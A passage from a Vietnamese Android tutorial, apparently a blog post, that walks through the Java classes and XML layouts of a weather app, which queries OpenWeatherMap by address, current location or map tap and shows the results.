* http://api.openweathermap.org/data/2.5/forecast/daily?lat=10.778182&lon=106.66550&cnt=10
* @param lat
* @param lon
* @param cnt
* @return
*/
public static OpenWeatherJSon predictionDaily(double lat,double lon,int cnt)
{
try {

URL url = new URL("http://api.openweathermap.org/data/2.5/forecast/daily?lat="+lat+"&lon="+lon+"&cnt="+cnt);
InputStreamReader reader = new InputStreamReader(url.openStream(),"UTF-8");
OpenWeatherJSon results = new Gson().fromJson(reader, OpenWeatherJSon.class);

String idIcon = results.getWeather().get(0).getIcon().toString();
String urlIcon = "http://openweathermap.org/img/w/"+idIcon+".png";
URL urlImage = new URL(urlIcon);

return results;

} catch (MalformedURLException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
}
return null;
}

/**
* Sửa lại WeatherJSON vì chưa phù hợp trong trường hợp Daily
* http://api.openweathermap.org/data/2.5/forecast/daily?q=Đà lạt&cnt=10
* @param q
* @param cnt
* @return
*/
public static OpenWeatherJSon predictionDaily(String q,int cnt)
{
try {
String location= URLEncoder.encode(q, "UTF-8");
URL url = new URL("http://api.openweathermap.org/data/2.5/forecast/daily?q="+location+"&cnt="+cnt);
InputStreamReader reader = new InputStreamReader(url.openStream(),"UTF-8");
OpenWeatherJSon results = new Gson().fromJson(reader, OpenWeatherJSon.class);

String idIcon = results.getWeather().get(0).getIcon().toString();
String urlIcon = "http://openweathermap.org/img/w/"+idIcon+".png";
URL urlImage = new URL(urlIcon);

return results;

} catch (MalformedURLException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
}
return null;
}
}

– Lớp WeatherAsyncTask, để thực hiện đa tiến trình truy vấn thời tiết, hiển thị lên giao diện. Lớp này được sử dụng chung cho cả theo Địa chỉ hay theo tọa độ.


package com.tranduythanh.utils;

import android.app.Activity;
import android.app.ProgressDialog;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.location.Address;
import android.location.Geocoder;
import android.os.AsyncTask;
import android.view.View;
import android.widget.ImageView;
import android.widget.TextView;

import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.model.Marker;
import com.gtranslate.Language;
import com.gtranslate.Translator;
import com.tranduythanh.model.OpenWeatherJSon;
import com.tranduythanh.weatherprediction.MyInfoWindowAdapter;
import com.tranduythanh.weatherprediction.R;

import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.text.DecimalFormat;
import java.text.NumberFormat;
import java.util.Date;
import java.util.List;
import java.util.Locale;

/**
* Created by drthanh on 11/05/2015.
*/
public class WeatherAsyncTask extends AsyncTask<Void,Void,OpenWeatherJSon>{
ProgressDialog dialog;
Activity activity;
TypePrediction typePrediction;
String q;
double latitude;
double longitude;
NumberFormat format = new DecimalFormat("#0.0");
Bitmap myBitmap=null;

Marker marker=null;
GoogleMap map=null;

/**
* Constructor dùng để lấy thời tiết theo địa chỉ bất kỳ
* @param activity
* @param q
*/
public WeatherAsyncTask(Activity activity,String q)
{
this.activity=activity;
this.typePrediction=TypePrediction.ADDRESS_NAME;
this.q=q;
this.dialog=new ProgressDialog(activity);
this.dialog.setTitle("Đang tải thông tin ...");
this.dialog.setMessage("Vui lòng chờ...");
this.dialog.setCancelable(true);
}

/**
* constructor cho phép lấy thông tin thời tiết theo tọa độ bất kỳ
* @param activity
* @param latitude
* @param longitude
*/
public WeatherAsyncTask(Activity activity,double latitude,double longitude)
{
this.activity=activity;
this.typePrediction=TypePrediction.LATITUDE_LONGITUDE;
this.latitude=latitude;
this.longitude=longitude;
this.dialog=new ProgressDialog(activity);
this.dialog.setTitle("Đang tải thông tin ...");
this.dialog.setMessage("Vui lòng chờ...");
this.dialog.setCancelable(true);
}

/**
* constructor cho lấy thông tin thời tiết theo tọa độ bất kỳ trên bản đồ
* @param marker
* @param map
* @param activity
* @param latitude
* @param longitude
*/
public WeatherAsyncTask(Marker marker,GoogleMap map,Activity activity,double latitude,double longitude)
{
this(activity,latitude,longitude);
this.marker=marker;
this.map=map;
}
@Override
protected void onPreExecute() {
super.onPreExecute();
this.dialog.show();
}

@Override
protected OpenWeatherJSon doInBackground(Void... params) {
OpenWeatherJSon openWeatherJSon=null;
if(typePrediction== TypePrediction.LATITUDE_LONGITUDE)
openWeatherJSon= OpenWeatherMapAPI.prediction(latitude,longitude);
else
openWeatherJSon= OpenWeatherMapAPI.prediction(q);
try {
String idIcon = openWeatherJSon.getWeather().get(0).getIcon().toString();
String urlIcon = "http://openweathermap.org/img/w/"+idIcon+".png";
//Tiến hành tạo đối tượng URL
URL urlConnection = new URL(urlIcon);
//Mở kết nối
HttpURLConnection connection = (HttpURLConnection) urlConnection
.openConnection();
connection.setDoInput(true);
connection.connect();
//Đọc dữ liệu
InputStream input = connection.getInputStream();
//Tiến hành convert qua hình ảnh
myBitmap = BitmapFactory.decodeStream(input);
} catch (Exception e) {
e.printStackTrace();
}
return openWeatherJSon;
}

@Override
protected void onProgressUpdate(Void... values) {
super.onProgressUpdate(values);
}

@Override
protected void onPostExecute(OpenWeatherJSon openWeatherJSon) {
super.onPostExecute(openWeatherJSon);
if(map!=null) {
map.setInfoWindowAdapter(new MyInfoWindowAdapter(openWeatherJSon,myBitmap,marker, this.activity,latitude,longitude));
marker.showInfoWindow();
this.dialog.dismiss();
return;
}
TextView txtTemperature=(TextView) activity.findViewById(R.id.txtTemperature);
TextView txtCurrentAddressName=(TextView) activity.findViewById(R.id.txtCurrentAddressName);
ImageView imageView=(ImageView) activity.findViewById(R.id.imgBauTroi);
TextView txtMaxtemp=(TextView) activity.findViewById(R.id.txtMaxTemp);
TextView txtMinTemp=(TextView) activity.findViewById(R.id.txtMinTemp);
TextView txtWind=(TextView) activity.findViewById(R.id.txtWind);
TextView txtCloudliness= (TextView) activity.findViewById(R.id.txtCloudliness);
TextView txtPressure= (TextView) activity.findViewById(R.id.txtPressure);
TextView txtHumidty= (TextView) activity.findViewById(R.id.txtHumidty);
TextView txtSunrise= (TextView) activity.findViewById(R.id.txtSunrise);
TextView txtSunset= (TextView) activity.findViewById(R.id.txtSunset);
double temperature=openWeatherJSon.getMain().getTemp()-273.15;
String maxtemp= format.format(openWeatherJSon.getMain().getTemp_max()-273.15)+"°C";
String mintemp= format.format(openWeatherJSon.getMain().getTemp_min()-273.15)+"°C";
String wind= openWeatherJSon.getWind().getSpeed()+" m/s";
String mesg = openWeatherJSon.getWeather().get(0).getMain();
//  Translator translate = Translator.getInstance();
// String cloudiness=mesg+" ("+translate.translate(mesg, Language.ENGLISH, Language.VIETNAMESE)+")";
String cloudiness=mesg;
String pressure= openWeatherJSon.getMain().getPressure()+" hpa";
String humidity=openWeatherJSon.getMain().getHumidity()+" %";

Date timeSunrise = new Date(openWeatherJSon.getSys().getSunrise()*1000);
String Sunrise= timeSunrise.getHours()+":"+timeSunrise.getMinutes()+" AM";
Date timeSunSet = new Date(openWeatherJSon.getSys().getSunset()*1000);
String sunset= timeSunSet.getHours()+":"+timeSunSet.getMinutes();
txtTemperature.setText(format.format(temperature)+"°C");
imageView.setImageBitmap(myBitmap);
txtMaxtemp.setText(maxtemp);
txtMinTemp.setText(mintemp);
txtWind.setText(wind);
txtCloudliness.setText(cloudiness);
txtPressure.setText(pressure);
txtHumidty.setText(humidity);
txtSunrise.setText(Sunrise);
txtSunset.setText(sunset);

try {
Geocoder geocoder;
List<Address> addresses;
geocoder = new Geocoder(this.activity, Locale.getDefault());
if(typePrediction==TypePrediction.LATITUDE_LONGITUDE)
addresses = geocoder.getFromLocation(latitude, longitude, 1); // Here 1 represent max location result to returned, by documents it recommended 1 to 5
else
{
addresses = geocoder.getFromLocationName(q, 1);
}
Address address=null;
if(addresses.size()>0)
address=addresses.get(0);
if(address!=null)
{
if(typePrediction==TypePrediction.LATITUDE_LONGITUDE)
txtCurrentAddressName.setText(address.getAddressLine(0));
else
txtCurrentAddressName.setText(q);
/*String city = address.getLocality();
String state = address.getAdminArea();
String country = address.getCountryName();
String postalCode = address.getPostalCode();
String knownName = address.getFeatureName();*/
}

} catch (IOException e) {
e.printStackTrace();
}
this.dialog.dismiss();
}
}

–  Sau đó ta tiến hành thiết kế các màn hình về viết code cho từng màn hình.

android64_12-Ở trên 3 Activity đều sử dụng 1 màn hình (vì cho dù tìm theo kiểu nào đi nữa thì thông tin thời tiết cũng đầy đủ thông số giống nhau).

– Ta đi vào từng màn hình, trước tiên là màn hình MainActivity:

Activity_main.xml:

android64_13


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
tools:context=".MainActivity">

<ImageView
android:layout_width="wrap_content"
android:layout_height="100dp"
android:id="@+id/imageView"
android:src="@drawable/weatherforecast"
android:layout_gravity="center_horizontal" />

<TableLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:stretchColumns="1"
>
<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent">

<TextView
android:layout_span="2"
android:layout_width="wrap_content"
android:layout_height="2dp"
android:text=""
android:id="@+id/textView10"
android:background="#004040" />
</TableRow>
<TableRow
android:onClick="showCurrentWeatherClick"
android:layout_width="fill_parent"
android:layout_height="fill_parent">

<ImageButton
android:onClick="showCurrentWeatherClick"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/imageButton"
android:src="@drawable/weathercurrent" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/textView"
android:text="Thời tiết địa điểm hiện tại của \nthiết bị "
android:textAlignment="center"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent">

<TextView
android:layout_span="2"
android:layout_width="match_parent"
android:layout_height="2dp"
android:text=""
android:id="@+id/textView5"
android:background="#004040" />
</TableRow>
<TableRow
android:onClick="showWeatherByAddressClick"
android:layout_width="fill_parent"
android:layout_height="fill_parent">

<ImageButton
android:onClick="showWeatherByAddressClick"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/imageButton2"
android:src="@drawable/weatheranywhere" />

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/textView2"
android:layout_gravity="center_vertical"
android:gravity="fill_vertical"
android:text="Xem thời tiết theo \nđịa điểm nhập bất kỳ " />

</TableRow>
<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent">

<TextView
android:layout_span="2"
android:layout_width="match_parent"
android:layout_height="2dp"
android:text=""
android:id="@+id/textView6"
android:background="#004040" />
</TableRow>
<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent">

<ImageButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/imageButton3"
android:src="@drawable/weatherpredict" />

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/textView3"
android:layout_gravity="center_vertical"
android:gravity="fill_vertical"
android:text="Xem thời tiết theo địa điểm \nnhập bất kỳ và dự báo các \nngày kế tiếp " />
</TableRow>
<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent">

<TextView
android:layout_span="2"
android:layout_width="match_parent"
android:layout_height="2dp"
android:text=""
android:id="@+id/textView7"
android:background="#004040" />
</TableRow>
<TableRow
android:layout_width="fill_parent"
android:onClick="showMapClick"
android:layout_height="fill_parent">

<ImageButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="showMapClick"
android:id="@+id/imageButton4"
android:src="@drawable/weathermap" />

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/textView4"
android:ellipsize="middle"
android:layout_gravity="center_vertical"
android:text="Xem thời tiết trên Google Map " />
</TableRow>
<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent">

<TextView
android:layout_span="2"
android:layout_width="match_parent"
android:layout_height="2dp"
android:text=""
android:id="@+id/textView8"
android:background="#004040" />
</TableRow>

</TableLayout>

</LinearLayout>

– Source code MainActivity:


package com.tranduythanh.weatherprediction;

import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Toast;

public class MainActivity extends ActionBarActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}

/**
* sự kiện mở màn hình xem thời tiết trên bản đồ
* @param v
*/
public void showMapClick(View v)
{
if(!isNetworkConnected())
{
Toast.makeText(MainActivity.this,"Bạn cần mở kết nối internet",Toast.LENGTH_LONG).show();
return;
}
Intent iMap=new Intent(MainActivity.this,WeatherMapsActivity.class) ;
startActivity(iMap);
}

/**
* sự kiện xem thời tiết tại vị trí hiện tại
* @param v
*/
public void showCurrentWeatherClick(View v)
{
if(!isNetworkConnected())
{
Toast.makeText(MainActivity.this,"Bạn cần mở kết nối internet",Toast.LENGTH_LONG).show();
return;
}
Intent iCurrent=new Intent(MainActivity.this,WeatherCurrentLocationActivity.class) ;
startActivity(iCurrent);
}

/**
* sự kiện dùng để xem thời tiết theo địa chỉ nhập bất kỳ
* @param v
*/
public void showWeatherByAddressClick(View v)
{
if(!isNetworkConnected())
{
Toast.makeText(MainActivity.this,"Bạn cần mở kết nối internet",Toast.LENGTH_LONG).show();
return;
}
Intent iaddress=new Intent(MainActivity.this,ChooseAddressActivity.class) ;
startActivity(iaddress);
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}

return super.onOptionsItemSelected(item);
}

/**
* hàm dùng để kiểm tra xem điện thoại đang kết nối internet hay không
* @return
*/
private boolean isNetworkConnected() {
ConnectivityManager cm = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo ni = cm.getActiveNetworkInfo();
if (ni == null) {
// There are no active networks.
return false;
} else
return true;
}
}

– Tiếp tục xử lý cho màn hình xem thời tiết tại địa điểm hiện tại của thiết bị, đó là

WeatherCurrentLocationActivity, chú ý là cả 3 trường hợp hiển thị chi tiết thời tiết đều sử dụng chung layout “activity_weather_current_location.xml“:

android64_14nội dung XML của màn hình hiển thị chi tiết :


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin"
android:orientation="vertical"
tools:context="com.tranduythanh.weatherprediction.WeatherCurrentLocationActivity">

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="Địa chỉ:"
android:id="@+id/textView11" />

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/txtCurrentAddressName"
android:hint="Địa chỉ hiện tại"
android:gravity="center"
android:textColor="#ff1919ff" />

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/textView12"
android:background="#ff06ff22"
android:height="1dp" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="Nhiệt độ:"
android:id="@+id/textView9" />

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/txtTemperature"
android:hint="nhiệt độ ở đây"
android:gravity="center"
android:textColor="#ffff2d34" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="Bầu trời:"
android:id="@+id/textView15" />

<ImageView
android:layout_width="50dp"
android:layout_height="50dp"
android:id="@+id/imgBauTroi"
android:layout_gravity="center" />

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/textView16"
android:background="#ff06ff22"
android:height="1dp" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Chi tiết"
android:id="@+id/textView17"
android:layout_gravity="center" />

<ScrollView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/scrollView" >

<TableLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_gravity="center_horizontal" >

<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent" >

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceSmall"
android:text="Max Temp:"
android:id="@+id/textView18" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/txtMaxTemp"
android:hint="Nhiệt độ lớn nhất ở đây" />
</TableRow>

<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent" >

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceSmall"
android:text="Min Temp:"
android:id="@+id/textView20" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/txtMinTemp"
android:hint="Nhiệt độ nhỏ nhất ở đây" />
</TableRow>

<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent" >

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceSmall"
android:text="Wind:"
android:id="@+id/textView21" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/txtWind"
android:hint="Tố độ gió ở đây" />
</TableRow>

<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent" >

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceSmall"
android:text="Cloudiness:"
android:id="@+id/textView22" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/txtCloudliness"
android:hint="Hướng mây" />
</TableRow>

<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent" >

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceSmall"
android:text="Pressure:"
android:id="@+id/textView23" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/txtPressure"
android:hint="Áp suất ở đây" />
</TableRow>

<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent" >

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceSmall"
android:text="Humidity:"
android:id="@+id/textView24" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/txtHumidty"
android:hint="độ ẩm ở đây" />
</TableRow>

<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent" >

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceSmall"
android:text="Sunrise:"
android:id="@+id/textView25" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/txtSunrise"
android:hint="Mặt trời mọc" />
</TableRow>

<TableRow
android:layout_width="fill_parent"
android:layout_height="fill_parent" >

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceSmall"
android:text="Sunset:"
android:id="@+id/textView26" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/txtSunset"
android:hint="Mặt trời mọc" />
</TableRow>
</TableLayout>
</ScrollView>

</LinearLayout>

– source code WeatherCurrentLocationActivity(xử lý xem chi tiết thời tiết tại vị trí hiện tại của thiết bị):


package com.tranduythanh.weatherprediction;

import android.location.Criteria;
import android.location.Location;
import android.location.LocationManager;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;

import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.model.BitmapDescriptorFactory;
import com.google.android.gms.maps.model.CameraPosition;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.Marker;
import com.google.android.gms.maps.model.MarkerOptions;
import com.tranduythanh.utils.WeatherAsyncTask;

import java.text.DecimalFormat;
import java.text.NumberFormat;

public class WeatherCurrentLocationActivity extends ActionBarActivity {
NumberFormat format = new DecimalFormat("#0.0");
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_weather_current_location);

}

@Override
protected void onResume() {
super.onResume();
getCurrentLocation();
}

/**
* source code lấy địa điểm hiện tại của thiết bị
* chú ý nhớ cấp quyền trong Manifest để cho phép truy suất
*/
private void getCurrentLocation() {

LocationManager locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
Criteria criteria = new Criteria();

Location lastLocation = locationManager.getLastKnownLocation(locationManager.getBestProvider(criteria, false));
if (lastLocation != null)
{
//ta lấy được thì truyền vĩ độ, kinh độ để xem thời tiết
WeatherAsyncTask task=new WeatherAsyncTask(this,lastLocation.getLatitude(),lastLocation.getLongitude());
task.execute();
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_weather_current_location, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}

return super.onOptionsItemSelected(item);
}
}

-Ta qua màn hình xem thời tiết tại một địa chỉ bất kỳ:

android64_15Như vậy chức năng này cũng sử dụng chung màn hình hiển thị chi tiết thời tiết, và ta cần cung cấp màn hình chọn tỉnh thành Việt Nam có sẵn hoặc trong ô nhập địa chỉ cho phép người sử dụng nhập bất kỳ địa điểm nào đó trên thế giới. Bấm nút Xem thời tiết hệ thống sẽ xuất hiện kết quả như hình số 3 ở trên (bạn thấy đó ở sài gòn bây giờ là 27.9 độ C quá là mát mẻ… vì Tui chụp hình này lúc 10h đêm, chứng tỏ phần mềm này nó thông minh, nó biết ban đêm thường là mát hơn ban ngày ).

– Ta xem layout của màn hình chọn địa chỉ (activity_choose_address.xml):


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin"
android:orientation="vertical"
tools:context="com.tranduythanh.weatherprediction.ChooseAddressActivity">

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Nhập địa chỉ:"
android:id="@+id/textView13" />

<AutoCompleteTextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtAddressCheck"
android:completionThreshold="1"
android:hint="Địa chỉ kiểm tra ở đây" />

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Xem thời tiết"
android:id="@+id/btnCheckWeather"
android:layout_gravity="center_horizontal" />

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Chọn theo tỉnh thành có sẵn"
android:id="@+id/textView14"
android:layout_gravity="center_horizontal" />

<ListView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:id="@+id/lvTinhThanh"
android:layout_gravity="center_horizontal" />
</LinearLayout>

Source xử lý cho màn hình này như sau (ChooseAddressActivity):


package com.tranduythanh.weatherprediction;

import android.content.Intent;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.text.Editable;
import android.text.TextWatcher;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.AutoCompleteTextView;
import android.widget.Button;
import android.widget.ListView;

public class ChooseAddressActivity extends ActionBarActivity {

AutoCompleteTextView txtAddress;
ListView lvTinhThanh;
String []arrTinhThanh;
ArrayAdapter<String>adapterTinhThanh;

Button  btnCheckWeather;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_choose_address);
addControls();
addEvents();
}
public void  addControls()
{
txtAddress=(AutoCompleteTextView)findViewById(R.id.txtAddressCheck);
lvTinhThanh= (ListView) findViewById(R.id.lvTinhThanh);
arrTinhThanh=getResources().getStringArray(R.array.arrTinhThanh);
adapterTinhThanh=new ArrayAdapter<String>(this,android.R.layout.simple_list_item_1,arrTinhThanh);
lvTinhThanh.setAdapter(adapterTinhThanh);
btnCheckWeather= (Button) findViewById(R.id.btnCheckWeather);
txtAddress.setAdapter(adapterTinhThanh);
}
public  void addEvents()
{
txtAddress.addTextChangedListener(new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence s, int start, int count, int after) {
adapterTinhThanh.getFilter().filter(s);
}

@Override
public void onTextChanged(CharSequence s, int start, int before, int count) {

}

@Override
public void afterTextChanged(Editable s) {

}
});
btnCheckWeather.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
//mở màn hình xem thời tiết theo địa chỉ nhập bất kỳ
Intent intent=new Intent(ChooseAddressActivity.this,WeatherByAddressActivity.class);
//truyền địa chỉ qua bên kia để xử lý
intent.putExtra("ADDRESS",txtAddress.getText()+"");
startActivity(intent);
}
});
lvTinhThanh.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
txtAddress.setText(arrTinhThanh[position]);
}
});
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_weather_by_address, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}

return super.onOptionsItemSelected(item);
}
}

– sau khi bấm vào nút xem thời tiết, hệ thống sẽ mở màn hình (WeatherByAddressActivity), chú ý màn hình này như đã nói ở trên là sử dụng chung layout với chức năng xem thời tiết tại vị trí hiện tại của máy.

source code của lớp WeatherByAddressActivity như sau:


package com.tranduythanh.weatherprediction;

import android.content.Intent;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationManager;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;

import com.tranduythanh.utils.WeatherAsyncTask;

public class WeatherByAddressActivity extends ActionBarActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_weather_current_location);

}

@Override
protected void onResume() {
super.onResume();
getWeatherByAddress();
}

/**
* hàm gọi đa tiến trình truy suất thời tiết theo địa chỉ
*/
private void getWeatherByAddress() {
Intent i=getIntent();
//lấy địa chỉ từ bên ChooseAddressActivity gửi qua:
String q=i.getStringExtra("ADDRESS");
WeatherAsyncTask task=new WeatherAsyncTask(this,q);
task.execute();
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_weather_by_address, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}

return super.onOptionsItemSelected(item);
}
}

-Chức năng cuối cùng Tui muốn hướng dẫn là xem thời tiết tại vị trí bất kỳ trên bản đồ (lần đầu tiên mở lên thì hệ thống sẽ hiển thị thời tiết tại vị trí hiện tại của thiết bị lên bản đồ, sau đó người sử dụng muốn xem nơi khác thì chỉ cần nhấn vào vị trí trên bản đồ, chức năng này rất tiện lợi):

android64_16– Chức năng này ta cần xử lý coding hơi phức tạp chút xíu, cần phải xử lý custom InfoWindowAdapter cho việc hiển thị giao diện khác nên bản đồ cũng như xác định vị trí mà người sử dụng chọn bất kỳ trên bản đồ rồi di chuyển và hiển thị chi tiết thời tiết tại địa chỉ mới này.

– Bạn chú ý để hiển thị Map trong Android Studio thì nó đơn giản hơn rất nhiều so với Eclipse vì Android Studio đã hỗ trợ rất tốt chức năng này.

– Ta cần tạo Google Map Activity tên là WeatherMapsActivity như sau:

– Bấm chuột phải vào Package/ chọn New/ chọn Google/ chọn Google Maps Activity:

android64_17– Sau đó màn hình tạo activity hiển thị lên, bạn đặt tên là WeatherMapsActivity hệ thống sẽ tạo ra layout tương thích để hiển thị Map (activity_weather_maps.xml):


<fragment xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:id="@+id/map"
